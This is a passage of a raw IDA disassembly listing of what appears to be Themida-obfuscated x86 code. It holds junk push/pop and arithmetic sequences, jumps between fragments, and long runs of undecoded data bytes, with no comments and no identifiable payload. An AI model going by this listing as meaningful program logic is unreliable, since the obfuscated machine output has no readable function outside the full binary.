3B35h, 0E924348Bh, 8Bh, 34FFF308h, 0C4815A24h, 4, 0F380C3FEh dd 0A0CB803Ah, 0E91DB252h, 0EFD3h ; --------------------------------------------------------------------------- loc_562408: ; CODE XREF: Themida_:0056FA28j pop dword ptr [edx+30h] push dword ptr [esp] mov edi, [esp] add esp, 4 jmp loc_5648F3 ; --------------------------------------------------------------------------- dd 0BAE9574Bh, 81FFFFDBh, 4C4h, 0C195E900h, 53AC0000h dd 4EC81h, 44E90000h db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56243B: ; CODE XREF: Themida_:0056F1AAj add edi, 4 jmp loc_5650A3 ; --------------------------------------------------------------------------- dw 5F5Ah dd 7FBF5751h, 8921380Dh, 243C8BF9h, 4C481h, 0BB530000h dd 7B51A65h, 815BD901h, 1E9h, 3C875100h, 87D7F724h, 0A6E9243Ch dd 83000058h, 0D00104C4h, 8324148Bh, 802D04C4h, 291F5D70h dd 708005D8h, 612D1F5Dh, 680A2B55h, 13F4h, 51243C89h, 1F3A8168h dd 240C8B73h, 0E904C483h, 607Bh ; --------------------------------------------------------------------------- loc_5624AC: ; CODE XREF: Themida_:0056D908j add esi, 4 jmp loc_560CF1 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 242C8900h, 58E7B850h, 0D0F71F7Eh, 77D8E9h, 0E907B400h dd 52B2h, 4BAh, 5AD50100h, 31242C33h, 2C33242Ch, 24248B24h dd 0FFAE00E9h, 241489FFh, 7C647068h, 84E95A14h, 0FF000027h dd 835B2434h, 0EBC104C4h, 17EB8102h, 0C178FB76h, 0EB8107EBh dd 441686Bh, 5207E3C1h, 0FFD344E9h, 0C8B66FFh, 72006824h dd 14890000h, 0E95A5424h, 7526h ; --------------------------------------------------------------------------- loc_562530: ; CODE XREF: Themida_:0056F54Fj xchg ebp, [esp] pop esp jmp loc_56F902 ; --------------------------------------------------------------------------- db 0F7h, 0F1h, 0E9h dd 0F47Dh, 0E9DEF766h, 2C42h ; --------------------------------------------------------------------------- loc_562548: ; CODE XREF: Themida_:0056E8B4j or esi, 6BBF12E4h jmp loc_56B85C ; --------------------------------------------------------------------------- db 0B9h dd 4, 8159CB89h, 39042444h, 0E95F417Dh, 92C5h, 0DEE9EE01h dd 66FFFFE7h, 5724048Bh, 0BB53E789h, 4, 515BDF01h, 1EF7E9h dd 20E95B00h, 89000070h, 0EC832414h, 48F5404h, 24048324h dd 24148B04h, 0C320E9h db 0 ; --------------------------------------------------------------------------- loc_5625A1: ; CODE XREF: Themida_:0056356Bj mov al, 0CEh add al, 4 shr al, 4 jmp loc_56AE76 ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 81h dd 42121EF2h, 0DF28142h, 1DA3B56h, 0C796E9D0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5625C2: ; CODE XREF: Themida_:0055E33Bj add edx, 67542990h add ebp, 1BAD7990h add ebp, edx sub ebp, 1BAD7990h mov edx, [esp] add esp, 4 jmp loc_565778 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0BD242C89h, 0E7C5737h, 4577CD81h, 0AFE9317Eh, 100009Fh dd 2434FFD0h, 8B2434FFh, 0C4812414h, 4, 0E904C483h, 1F26h dd 54243C89h, 4C7815Fh, 52000000h, 0C281E289h, 4, 58CB68h dd 24048900h, 0CC33E9h db 0 ; --------------------------------------------------------------------------- loc_562631: ; CODE XREF: Themida_:005678A0j mov [esp], edi jmp loc_56878F ; --------------------------------------------------------------------------- loc_562639: ; CODE XREF: Themida_:0056D200j mov esi, 0F8AC7B80h add ebp, esi pop esi jmp loc_55FBD8 ; --------------------------------------------------------------------------- loc_562646: ; CODE XREF: Themida_:00571D89j add ebx, 17D193E8h add edx, ebx pop ebx push ebx mov ebx, 1C7E50F1h jmp loc_56D7E8 ; --------------------------------------------------------------------------- dw 0D889h dd 1018CE9h db 0 ; --------------------------------------------------------------------------- loc_562661: ; CODE XREF: Themida_:00571A23j add dword ptr [esp+4], 1CF52255h push dword ptr [esp] pop edi push edi push esp pop edi add edi, 4 push 460Bh mov [esp], ebp mov ebp, 4 jmp loc_56AC66 ; --------------------------------------------------------------------------- dd 83241C8Bh, 506604C4h, 0C50827B0h, 0CDFE5866h, 443C580h dd 0E48E9F1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5626A2: ; CODE XREF: Themida_:0056AD6Fj pop esi add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp xor ebx, 1BBD7FD2h jmp loc_56DF40 ; --------------------------------------------------------------------------- db 5Bh dd 4EF81h, 3C870000h, 34895C24h, 44656824h, 14890000h dd 0C61BE924h, 8B66FFFFh, 8952240Ch, 4C281E2h, 0E9000000h dd 0FFFFB1F1h, 51B55166h, 5966EB00h, 6F3EE9h, 0D5EE8100h dd 8169597Dh, 5AC567EEh, 0D7E8E90Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_562706: ; CODE XREF: Themida_:00569F3Ej xor eax, ecx sub esp, 4 mov [esp], eax xor [esp], ecx xor ecx, [esp] jmp loc_55D9E3 ; --------------------------------------------------------------------------- db 0BFh, 75h, 1Ah dd 0C78137E9h, 0C816E58Fh, 4D24EB81h, 74E95DE4h, 100004Bh dd 5EE95DEFh, 66000082h, 0E9240489h, 0FFFFABADh, 0C2ED2D05h dd 0E9C78958h, 0FFFFB085h, 7827B850h, 0F02D34F0h, 9CA4231h dd 7FE958C2h db 0F8h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56275F: ; CODE XREF: Themida_:005605ADj push 346Fh mov [esp], eax push 35E7h mov [esp], edi jmp loc_5712A9 ; --------------------------------------------------------------------------- loc_562774: ; CODE XREF: Themida_:0056C43Dj mov [esp], ebx mov ebx, esp jmp loc_565BF0 ; --------------------------------------------------------------------------- dw 3BBFh dd 811CB03Ah, 5537AAE7h, 87EF8159h, 0E9046E5Ah, 17B0h dd 83243C8Bh, 0BA5204C4h, 20465B32h, 62BCCA81h, 8AE94099h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5627AB: ; CODE XREF: Themida_:0056F5F4j push 31947CACh jmp loc_56781B ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5804h, 24248B24h, 0E99CC885h, 0FFFFAB25h, 8704C583h dd 248B242Ch, 48CA6824h, 1C890000h, 4EC8324h, 0E9240489h dd 13EBh ; --------------------------------------------------------------------------- loc_5627E4: ; CODE XREF: Themida_:0056D4CBj push eax push esi mov esi, 20h mov eax, esi pop esi add eax, edi add [eax], edx pop eax mov edx, [esp] add esp, 4 neg dword ptr [edi+20h] push eax mov eax, 20h add eax, edi xor dword ptr [eax], 91E3C207h pop eax jmp loc_56C0F4 ; --------------------------------------------------------------------------- db 87h dd 87D3F7DAh, 0A7E1E9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56281E: ; CODE XREF: Themida_:005720BAj push esi jmp loc_563955 ; --------------------------------------------------------------------------- dd 0E663EF68h, 0E2815A18h, 0BCB21C5h, 3BE9D2F7h, 59FFFFD1h dd 5C24048Fh, 0C356E9h, 0C1F58100h, 52796A4Dh, 7A7821BAh dd 2DBCE974h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562852: ; CODE XREF: Themida_:00561BDEj sub ebp, eax jmp loc_56F537 ; --------------------------------------------------------------------------- db 66h, 0Fh, 0B6h dd 8B5451CCh, 0C481240Ch, 4, 4C181h, 24E90000h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_562873: ; CODE XREF: Themida_:00570319j mov edi, [esp] push 12AEh mov [esp], edi mov edi, esp jmp loc_56C26F ; --------------------------------------------------------------------------- db 51h, 0B9h, 45h dd 0F75D3A38h, 8E1C1D1h, 9DF9F181h, 0CE09BEDBh, 0E9D6F759h dd 0FFFFF2EDh, 77FD68h, 243C8900h, 0D305E5BFh, 1BEF812Dh dd 811D3B02h, 31AB2F7h, 0CC08E917h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5628BE: ; CODE XREF: Themida_:00561952j xor ebp, 7532307Ch sub ebp, 0B3315D57h add esi, ebp pop ebp sub ecx, esi pop esi add ecx, edx push edi mov edi, 1D916D25h add ecx, 70350BD2h sub ecx, 2F972179h add ecx, edi push edi mov edi, 4606638Bh dec edi inc edi shr edi, 2 jmp loc_561580 ; --------------------------------------------------------------------------- aPs_1 db 'PИ╣ы',0 align 4 dd 49E9DC88h db 0B8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562903: ; CODE XREF: Themida_:0055D7AFj sub ebp, 41114C6Ah jmp loc_571EA9 ; --------------------------------------------------------------------------- dw 932Dh dd 89B7277Fh, 73EE9C6h, 38040000h, 382CC828h, 83240C8Bh dd 0D80004C4h, 0EF2CB204h, 5CEB68h, 240C8900h, 0EDC0DBB5h dd 22685307h, 89000050h, 0A1B1240Ch, 528AC180h, 0B5516AB6h dd 0B5CD80AEh, 8021ED80h, 0EE30B7F5h, 79B15159h, 0E959CE20h dd 639Dh, 4240481h, 0FF000000h, 685A2434h, 5FFFh, 0E9241C89h dd 820h, 8B2434FFh, 0C4812434h, 4, 1AEA68h, 24348900h dd 4EC81h, 24890000h, 24048124h, 4, 0C2BD555Eh, 0E93A2E3Ah dd 0B67Eh, 0C581DDF7h, 7AE25B90h, 0FFC865E9h, 5FF831FFh dd 0FFBCFBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5629C1: ; CODE XREF: Themida_:0056D10Cj pop eax xor ebp, [esp] jmp loc_55D5FD ; --------------------------------------------------------------------------- dw 7D2Ch dd 7D04C828h, 0BAE96A04h, 0E9FFFFDAh, 0FFFFA911h, 0A309CBAh dd 0C2814A64h, 32D94C37h, 15AD001h, 65C1E9C6h, 0ED810000h dd 3D52503Ch, 76E5E9h db 0 ; --------------------------------------------------------------------------- loc_5629FD: ; CODE XREF: Themida_:00571E3Cj push 3664h mov [esp], edi jmp loc_55D2FB ; --------------------------------------------------------------------------- loc_562A0A: ; CODE XREF: Themida_:0056BDC6j sub esp, 2 mov [esp], dx jmp loc_56113D ; --------------------------------------------------------------------------- loc_562A19: ; CODE XREF: Themida_:00560385j push edi mov edi, 3F7013F7h and edi, 3F9B3E59h and edi, 72960A89h push eax mov eax, 0CDEFFE03h jmp loc_56DBED ; --------------------------------------------------------------------------- loc_562A36: ; CODE XREF: Themida_:0056ED8Ej xchg ebp, [esp] mov esp, [esp] push ebp mov ebp, 202D7814h add ebp, 0CD6C005h add eax, ebp mov ebp, [esp] add esp, 4 sub eax, 543D71C1h jmp loc_56A291 ; --------------------------------------------------------------------------- dw 4625h dd 25737221h, 4AE6347h, 0C27CD405h, 0E9C60113h, 0A456h ; --------------------------------------------------------------------------- loc_562A70: ; CODE XREF: Themida_:0056AC53j xchg ebx, [esp] pop esp push 0D00h mov [esp], ecx push edx mov edx, esp jmp loc_55F6BD ; --------------------------------------------------------------------------- loc_562A84: ; CODE XREF: Themida_:00568544j ; Themida_:0056C626j sub esp, 4 mov [esp], ebx push edi mov edi, 79BD4892h xor [esp+4], edi pop edi pop eax push edx push ebp mov ebp, 668E0EA0h push 107Ah mov [esp], esi jmp loc_55E797 ; --------------------------------------------------------------------------- loc_562AAD: ; CODE XREF: Themida_:0056A354j xor al, dh jmp loc_572B18 ; --------------------------------------------------------------------------- loc_562AB4: ; CODE XREF: Themida_:00569CA0j sub ebp, 7DBD3F7Ch mov ebx, [esp] add esp, 4 sub esp, 4 jmp loc_56A716 ; --------------------------------------------------------------------------- dw 0BF57h dd 48552ED0h, 815FFD29h, 0CB4F69CDh, 0D8E5817Bh, 51347B23h dd 3A30DEB9h, 59CD3177h, 7D51EB81h, 0C3814DF7h, 3A2454BAh dd 0EB81EB01h, 3A2454BAh, 7D51C381h, 15D4DF7h, 0A8ABE9C3h dd 0E1D00000h, 0F6D2F180h, 80D1F6D1h, 0E980D6F1h, 66CA0820h dd 23EA8059h, 285AD000h, 8B212CD8h, 0C483241Ch, 13BE904h dd 57590000h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h dd 0FBB241Ch, 897AC3C0h, 0F9315BDFh, 59CD895Fh, 68C8C581h dd 50E95F51h db 8Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_562B67: ; CODE XREF: Themida_:00563C3Cj add dword ptr [esp], 25E754Eh mov eax, [esp] add esp, 4 push esi mov esi, 0B9E3C0Dh inc esi dec esi sub esi, 0C3E21E8Ah push 3E70h jmp loc_56F3CE ; --------------------------------------------------------------------------- db 81h dd 0AA035DEAh, 81DA2965h, 0AA035DC2h, 2434FF65h, 4C4815Bh dd 0E9000000h, 0FFFFD9C3h, 81E68956h, 4C6h, 4EE8100h, 87000000h dd 0E95C2434h, 5B04h, 0E924248Bh, 0FFFFF857h ; --------------------------------------------------------------------------- loc_562BCC: ; CODE XREF: Themida_:005676A3j mov eax, 5F930F74h sub ebx, eax jmp loc_56A601 ; --------------------------------------------------------------------------- loc_562BD8: ; CODE XREF: Themida_:0056BA0Cj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, 5F3855BCh push edi push 796E7AB1h jmp loc_565AE5 ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 81000000h, 4EEh, 24348700h, 8924248Bh, 5E542434h dd 4EC81h, 66E90000h, 810000D4h, 4C3h, 74FF5300h, 8F5B0424h dd 248B2404h, 0BC68124h, 0E9740314h, 0FFFFC123h, 5793C681h dd 50E904FFh, 2DFFFFE3h, 6A6779A8h, 5255F829h, 0A6435468h dd 0EA815A0Ch, 0AB342917h, 0EE4EE9h db 0 ; --------------------------------------------------------------------------- loc_562C5D: ; CODE XREF: Themida_:0056D6C9j push 7AEAh mov [esp], esi jmp loc_568BE3 ; --------------------------------------------------------------------------- loc_562C6A: ; CODE XREF: Themida_:0056178Cj not esi jmp loc_5712FD ; --------------------------------------------------------------------------- db 68h, 0BCh, 7Ch dd 14890000h, 50E28924h, 4B8h, 5CEA8100h, 12B0C4Eh, 5CC281C2h dd 8B2B0C4Eh, 0C4832404h, 4EA8304h, 450DE9h, 0C7816600h dd 566C807h, 18E9788Ah, 80000084h, 58669CE9h, 0FFC4C3E9h dd 24148BFFh, 4C481h, 0D8300000h, 56241C8Bh, 0C681E689h dd 4, 4C681h, 34870000h, 875EE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562CDA: ; CODE XREF: Themida_:0055F3CCj pop esp jmp loc_5700CA ; --------------------------------------------------------------------------- dd 5686653h, 665B6653h, 323BE381h, 81664366h, 663CFECBh dd 8766DBF7h, 0D2F766D3h, 0C9DAE9h, 0E9F70100h, 13AFh dd 4659CE31h, 4A69EE81h, 0F3011884h, 43A6E95Eh, 425C0000h dd 68F9E281h, 0EA81479Fh, 408D20F5h, 815A5E52h, 0F47031EFh dd 81F70154h, 0F47031C7h, 2434FF54h, 4C4835Eh, 1E0EE9h dd 0BA525B00h, 4819338Fh, 0D4C1E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_562D52: ; CODE XREF: Themida_:00563B2Fj mov ebp, 797245Bh or ebx, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebp mov ebp, 55E201FDh and ebx, ebp pop ebp push edx mov edx, 47CE5C7Ah xor ebx, edx pop edx add ebx, 226C5ECBh xor ebx, 64D8BCEEh mov edx, ebx push dword ptr [esp] jmp loc_564CAC ; --------------------------------------------------------------------------- db 55h dd 5E7FE9h, 2CC8FE00h, 3C5768F5h, 28E90000h, 0F6000052h dd 3EC180D1h, 2859CA88h, 5A66D0h, 666204D8h, 83241C8Bh dd 148B02C4h, 0FD73E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562DCA: ; CODE XREF: Themida_:00564729j or ebp, 440E2E92h push eax mov eax, 1B161C6Fh xor eax, 4A6F4641h jmp loc_571FA3 ; --------------------------------------------------------------------------- loc_562DE0: ; CODE XREF: Themida_:00572B4Fj mov [esp], esi push 3A7h mov [esp], eax push ecx push 183Ah mov [esp], ebx mov ebx, 6D0D6C65h mov ecx, 875E753Bh sub ecx, ebx pop ebx add ecx, 156123F9h sub ecx, 1C2324E5h push edi mov edi, 53442F1Ah and ecx, edi pop edi xor ecx, 11105509h add ecx, 0FDEBADFEh push 5791h mov [esp], ebp jmp loc_55EA3A ; --------------------------------------------------------------------------- loc_562E2F: ; CODE XREF: Themida_:0056836Fj and ebp, edi mov edi, [esp] add esp, 4 shl ebp, 8 sub ebp, 8A16474Bh sub [edi+24h], ebp mov ebp, [esp] push ebp jmp loc_5679B1 ; --------------------------------------------------------------------------- db 66h dd 8324048Bh, 48904ECh, 5E08924h, 4, 633768h, 0A421E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562E6A: ; CODE XREF: Themida_:00571FFBj xor eax, 10F522E3h or esi, eax pop eax shl esi, 2 push edx mov edx, 313B7237h sub esi, edx pop edx jmp loc_563C52 ; --------------------------------------------------------------------------- db 58h dd 505AD100h, 0FB0C30B0h, 28C2E9h db 0 ; --------------------------------------------------------------------------- loc_562E91: ; CODE XREF: Themida_:00570CB6j push ebx push 3987ED9Bh pop ebx mov ebp, ebx mov ebx, [esp] add esp, 4 xor ebx, ebp mov ebp, [esp] add esp, 4 push ebx pop edi mov ebx, [esp] add esp, 4 sub eax, 378B469Fh sub eax, edi push edi mov edi, 378B469Fh add eax, edi jmp loc_55E984 ; --------------------------------------------------------------------------- loc_562EC4: ; CODE XREF: Themida_:00571F9Ej add edx, 4 jmp loc_5645FD ; --------------------------------------------------------------------------- db 66h dd 0E9240C8Bh, 0FFFFB7B9h, 4EB2BB53h, 0EBC1248Ah, 2BEAE902h dd 0DCBD0000h, 0E97FD0D9h, 0A2BEh, 0D8005A66h, 0B3D5E9h dd 4C78100h, 83000000h, 3C8704C7h, 0B6DBE924h, 6680000h dd 89000045h, 0EC81242Ch, 4, 54240489h, 75A9E9h, 0BA52AD00h dd 26D9609Ch, 9AFBE94Ah, 0B60F0000h, 0B5ADE9C0h, 1C8BFFFFh dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 3CDE9h dd 4C68100h, 87000000h, 815C2434h, 0DFC0DAEEh, 8BF00109h dd 89562434h, 4C681E6h, 0E9000000h, 0FFFFEE49h, 0ACE9F809h dd 81000014h, 5F2009C3h, 0E9DE29D0h, 0FFFFE46Ch, 0E92434FFh dd 0EDB7h, 58C1E954h, 2C8B0000h, 4C48124h, 81000000h, 7000D0EAh dd 62A0E911h db 2 dup(0) ; --------------------------------------------------------------------------- loc_562FAA: ; CODE XREF: Themida_:00567043j xchg dh, ah xchg ah, bh jmp loc_572204 ; --------------------------------------------------------------------------- loc_562FB3: ; CODE XREF: Themida_:0057262Ej push esi mov esi, 6383481h push ebx mov ebx, 435A00BFh not ebx shr ebx, 6 neg ebx inc ebx sub ebx, 8C3E49CCh sub ecx, ebx jmp loc_572A50 ; --------------------------------------------------------------------------- dd 0DA0E20BFh, 96F7811Ah, 52539177h, 5C3C89BAh, 45C9E95Eh dd 34FF0000h, 0F6E95A24h, 58000073h, 4C481h, 6E680000h dd 0E900000Bh, 0FFFFE808h ; --------------------------------------------------------------------------- loc_563004: ; CODE XREF: Themida_:0056CBF9j push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] jmp loc_560A48 ; --------------------------------------------------------------------------- dw 0DDF7h dd 0C218E9h, 5BD82900h, 67FAE9h db 0 ; --------------------------------------------------------------------------- loc_563029: ; CODE XREF: Themida_:00564C7Aj pop ecx sub esp, 4 mov [esp], esi push 399Dh mov [esp], edi jmp loc_564F74 ; --------------------------------------------------------------------------- dd 59240CFFh, 0CFDDE951h, 248B0000h, 24048924h, 0E9535854h dd 4BB9h, 8124048Bh, 4C4h, 0C1D6F700h, 53E903EEh db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56306B: ; CODE XREF: Themida_:00566178j neg esi jmp loc_56194C ; --------------------------------------------------------------------------- dw 0C381h dd 53FC2A99h, 0EB81CB29h, 53FC2A99h, 243C8B59h, 4C481h dd 0BE560000h, 0E9C36EBh, 0F56EE9h db 0 ; --------------------------------------------------------------------------- loc_563095: ; CODE XREF: Themida_:00571BC6j push ebp push edi mov edi, 6D1B548Eh jmp loc_57140F ; --------------------------------------------------------------------------- db 83h, 0C5h, 4 dd 0EB87E9h db 0 ; --------------------------------------------------------------------------- loc_5630A9: ; CODE XREF: Themida_:0056B99Fj add esp, 4 push ebx mov ebx, 3B2920A8h not ebx sub ebx, 3E944C8Ah shl ebx, 7 xor ebx, 51756E20h mov esi, ebx pop ebx xor esi, eax mov eax, [esp] add esp, 4 jmp loc_57219B ; --------------------------------------------------------------------------- dw 0EA81h dd 44C1192Fh, 0DFE1E9h, 24248B00h, 0C8AF0F66h, 0E99C5166h dd 0FFFFA1FDh ; --------------------------------------------------------------------------- loc_5630F0: ; CODE XREF: Themida_:00569FBAj push 5E8B285Ah mov edx, [esp] add esp, 4 xor edi, edx pop edx sub edi, 0CF07BFBh jmp loc_56B79B ; --------------------------------------------------------------------------- aIS6f db ')К]И6■',0 align 4 dd 0EE47E95Ah, 815FFFFFh, 576C97EAh, 81CA014Bh, 576C97C2h dd 0E2BB534Bh, 8153926Ch, 2B089AEBh, 0FA55E9E7h, 5F59FFFFh dd 0E959CB01h, 5700h ; --------------------------------------------------------------------------- loc_563144: ; CODE XREF: Themida_:00561305j pop ebp push esi push eax mov eax, 546715Eh xor eax, 4A414ACBh dec eax add eax, 743BB110h mov esi, eax pop eax jmp loc_5645AF ; --------------------------------------------------------------------------- db 81h dd 4C5h, 2C58300h, 0E9242C33h, 73DAh, 0F20980BFh, 28CF8121h dd 815DA000h, 866851CFh, 0E0E5E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_563186: ; CODE XREF: Themida_:0055E1EFj add edx, ebx pop ebx sub ebp, edx pop edx jmp loc_566ECC ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0E904EC83h, 35ABh, 0C3815B54h, 4, 8704C383h, 565C241Ch dd 9644A9BEh, 68FAE963h, 4ABB0000h, 0E9233009h, 0C4FCh dd 0D9F74959h, 7079C181h, 0CF897311h, 6DBD5559h, 2138DC02h dd 0D7F75DEFh, 5585E9h, 207E6800h, 1C890000h, 81E38924h dd 4C3h, 0D8F0E900h, 0F181FFFFh, 0B0C2C2BAh, 6A4C581h dd 60E96BA7h, 87000022h, 248B2434h, 0D9F78124h, 56CDC2B2h dd 1AEEE9h, 0E7895700h, 0FFB7BEE9h db 0FFh ; --------------------------------------------------------------------------- loc_56321D: ; CODE XREF: Themida_:0056A73Ej sub edi, 16F46091h neg edi xor edi, 20CD0C5Dh and edi, 368028D1h not edi push edx mov edx, 20B6B9BBh add edi, edx pop edx add edx, edi mov edi, [esp] add esp, 4 loc_563244: ; CODE XREF: Themida_:00561045j ; Themida_:00567D89j push dword ptr [edi+24h] mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_560D0F ; --------------------------------------------------------------------------- dw 48Bh dd 4EC8124h, 89000000h, 5B54241Ch, 38CDBF57h, 0C7812CECh dd 0FFFFFFFFh, 8106EFC1h, 4ECh, 242C8900h, 0D83EF5BDh dd 0BFC58147h, 513B4A12h, 7827BA52h, 0D18972F7h, 59CD295Ah dd 0D629E9h, 259E6800h, 0E9587A9Dh, 12A0h, 6484B850h, 0B90D5305h dd 0D288978h, 55CA3AFDh, 590B7D25h, 0A792D6Ah, 38E96A49h dd 0BFFFFFC2h, 293A5FFEh, 1EF814Fh, 81000000h, 0A4483AF7h dd 0A6EDE951h, 0F180FFFFh, 0E0C1801Dh, 0C8BC800h, 0E3895324h dd 4C381h, 0C3810000h, 4, 5C241C87h, 8F49E9h db 0 ; --------------------------------------------------------------------------- loc_563305: ; CODE XREF: Themida_:0055EAA0j xor ebp, eax xor eax, ebp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_568DB3 ; --------------------------------------------------------------------------- dw 0C289h dd 0FFEF54E9h, 0D4F781FFh, 1557241h, 22F0E9F8h, 0EA810000h dd 25163A13h, 2414875Dh, 240C895Ch, 2B9h, 49E10500h, 0E8E96445h dd 0F7FFFFD8h, 7CE981D9h, 0E963589Fh, 0FFFFDA21h, 3B85B850h dd 0FF053079h, 0F7FFFFFFh, 18025D0h, 5A2D224Ch, 0C163B148h dd 440505E0h, 2935A90Bh, 0C3358C1h, 6D76E924h, 44810000h dd 20410424h, 5D5D7716h, 4C581h, 0EC830000h, 241C8904h dd 228FE9h db 0 ; --------------------------------------------------------------------------- loc_5633A1: ; CODE XREF: Themida_:00565A57j push edx mov dl, 0C7h and dl, 39h push ebx mov bl, 9Dh shl bl, 3 push eax mov al, 30h xor bl, al jmp loc_56EBA9 ; --------------------------------------------------------------------------- db 66h dd 83240C31h, 148904ECh, 0E95A5424h, 9E19h, 3065ED81h dd 0E5C1273Bh, 0AFA5E906h, 0F3290000h, 5BDA015Eh, 57FF68h dd 241C8900h, 2BBh, 0CF31E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5633EE: ; CODE XREF: Themida_:0055F173j mov ecx, 1 push 20DDh jmp loc_56A4AF ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 4C481h, 0B8500000h, 4, 48BC501h, 0AA4CE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_563416: ; CODE XREF: Themida_:0056FE67j mov eax, [esp] push ecx push esp pop ecx jmp loc_56D482 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 81h dd 0CC13D9C3h, 0F38142h, 816B1C43h, 0E1B3C4F3h, 624C6817h dd 1C890000h, 9895E924h, 0CDFE0000h, 6866h, 0E9242C28h dd 0FFFFCEC7h, 5E08950h, 4, 8704C083h, 815C2404h, 4ECh dd 242C8900h, 0C581E589h, 4, 4C581h, 2C870000h, 0D767E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56347E: ; CODE XREF: Themida_:0055E2C1j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_564153 ; --------------------------------------------------------------------------- loc_563490: ; CODE XREF: Themida_:0055E9B2j add esi, ebx jmp loc_569B2F ; --------------------------------------------------------------------------- loc_563497: ; CODE XREF: Themida_:00568E67j mov [esp], ecx mov ecx, 97705DCh push edx jmp loc_56A14D ; --------------------------------------------------------------------------- db 1, 0C1h, 58h dd 0C8BCA31h, 4C48324h, 418EBB53h, 0EB8152D0h, 33B444D3h dd 188EEB81h, 0DBF709E8h, 0FFC1A8E9h, 0E95257FFh, 59FAh dd 4C2815Ah, 0E9000000h, 8ADCh ; --------------------------------------------------------------------------- loc_5634DC: ; CODE XREF: Themida_:00568291j push edx jmp loc_566F07 ; --------------------------------------------------------------------------- dw 0C483h dd 2D78E904h, 0E8000000h, 0FFBAD0E9h, 3034B5FFh, 53E959EBh dd 410000A4h, 40A3E981h, 0EBE95543h, 54FFFFFCh, 8324048Fh dd 0FF042404h, 815F2434h, 4C4h, 79AAE900h, 0E6890000h dd 4C681h, 59E90000h, 8B00009Ch, 0D5E9241Ch, 80FFFFE6h dd 0D1E901C5h, 81000057h, 4E15F6F3h, 0E6F38148h, 8104855Ah dd 0C01355F3h, 0A4C38129h, 898121ACh, 0DB82E9DDh, 8EE90000h dd 81FFFF9Dh, 731727E9h, 7C8AE94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_56356A: ; CODE XREF: Themida_:0056A455j push eax jmp loc_5625A1 ; --------------------------------------------------------------------------- aWs db '[WИ(╨',0 dw 5700h dd 0BD55E789h, 66FF4261h, 4265F581h, 23E966FFh, 5A00006Bh dd 0C588A334h, 0E92434FFh, 9D0Eh ; --------------------------------------------------------------------------- loc_563598: ; CODE XREF: Themida_:00560D0Aj push eax push 43606800h pop eax push esi jmp loc_5684F6 ; --------------------------------------------------------------------------- db 81h, 0C2h, 0F5h dd 0E9C0314Fh, 0FFFFA3CCh ; --------------------------------------------------------------------------- loc_5635B0: ; CODE XREF: Themida_:00567CD5j mov edx, esp push esi jmp loc_56BA7B ; --------------------------------------------------------------------------- dd 5B241C29h, 248EC381h, 0DA011550h, 4C2815Bh, 52000000h dd 42474FFh, 5724148Bh, 0EAE9E789h, 3100001Bh, 242C8BEFh dd 0E28AE9h, 0E951AC00h, 0AD0Ch ; --------------------------------------------------------------------------- loc_5635EC: ; CODE XREF: Themida_:0056463Aj xchg edx, [esp] pop esp add esp, 4 sub esp, 4 jmp loc_569B1F ; --------------------------------------------------------------------------- loc_5635FE: ; CODE XREF: Themida_:0056F5CFj push eax mov eax, 3D8F2830h mov edx, eax pop eax jmp loc_5666A6 ; --------------------------------------------------------------------------- loc_56360C: ; CODE XREF: Themida_:00561599j push dword ptr [esp] jmp loc_56D2AC ; --------------------------------------------------------------------------- loc_563614: ; CODE XREF: Themida_:005720E6j add eax, 68807D99h or eax, 39C12792h inc eax or eax, 5611A9Dh push ebp jmp loc_56AC58 ; --------------------------------------------------------------------------- dw 1C33h dd 241C3124h, 99E9E9h, 40F28100h, 81413230h, 12B406C2h dd 5AD701DEh, 4EF81h, 0EC810000h, 4, 0FFA045E9h, 0AAB951FFh dd 684C135Fh, 13DDh, 0E9243489h, 0FFFFB5CCh, 4EC81h, 2C890000h dd 81E58924h, 4C5h, 4C58100h, 33000000h, 2C31242Ch, 5732E924h dd 0D4B90000h, 0E96C755Eh, 0C576h, 111667BDh, 8ED813Eh dd 0D153905Bh, 9CD81E5h, 81358075h, 0A71AEDC5h, 53C58113h dd 0E90DA3DCh, 0C0E9h ; --------------------------------------------------------------------------- loc_5636B8: ; CODE XREF: Themida_:00570568j mov [esp], eax jmp loc_56442D ; --------------------------------------------------------------------------- dd 2DD00159h, 